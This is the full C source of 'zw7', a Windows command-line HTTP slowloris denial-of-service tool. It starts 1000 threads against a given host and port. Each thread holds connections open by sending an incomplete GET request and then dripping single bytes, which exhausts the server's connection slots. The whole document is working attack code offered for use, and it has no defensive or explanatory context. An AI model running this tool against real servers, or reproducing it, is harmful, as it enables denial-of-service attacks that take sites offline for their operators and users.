slowloris tool for Windows

#include <stdio.h>
#include <WinSock2.h>

#pragma comment(lib,"ws2_32.lib")

DWORD WINAPI SlowlorisThread(PVOID p)
{
	SOCKET s;
	sockaddr_in* sai;

	char header[]="GET /",a='A';
	int n;

	sai=(sockaddr_in*)p;

	while(1)
	{
		s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

		if(s!=INVALID_SOCKET)
		{
			connect(s,(sockaddr*)sai,sizeof(sockaddr_in));
			send(s,header,sizeof(header)-1,0);

			while(1)
			{
				n=send(s,&a,1,0);

				if(n==SOCKET_ERROR)
				{
					break;
				}

				Sleep(100);
			}

			closesocket(s);
		}
	}
}

int main(int argc,char* argv[])
{
	WSADATA wd;
	ULONG i;

	hostent* host;
	sockaddr_in sai;

	if(argc<2)
	{
		printf("\nzw7 - HTTP slowloris tool for Windows\nby zwclose7\n\nhttp://zwclose7.wordpress.com\n\nUsage: zw7 [Hostname/IP address] [Port]\nIf port is not set, the port 80 is used\n");
		return -1;
	}

	if(WSAStartup(0x202,&wd))
	{
		printf("\nError: Unable to initialize Winsock\n");
		return -1;
	}

	host=gethostbyname(argv[1]);

	if(!host)
	{
		printf("\nError: Hostname not found\n");
		return -1;
	}

	sai.sin_family=AF_INET;
	sai.sin_addr.S_un.S_addr=*(PULONG)host->h_addr;
	sai.sin_port=htons(argc<3 ? 80:strtoul(argv[2],NULL,0));

	printf("\nCreating 1000 threads for attack...\n");

	for(i=0;i<1000;i++)
	{
		CreateThread(NULL,0,SlowlorisThread,&sai,0,NULL);
	}

	printf("\nAttack started\nPress enter to stop\n");
	getchar();

	return 0;
}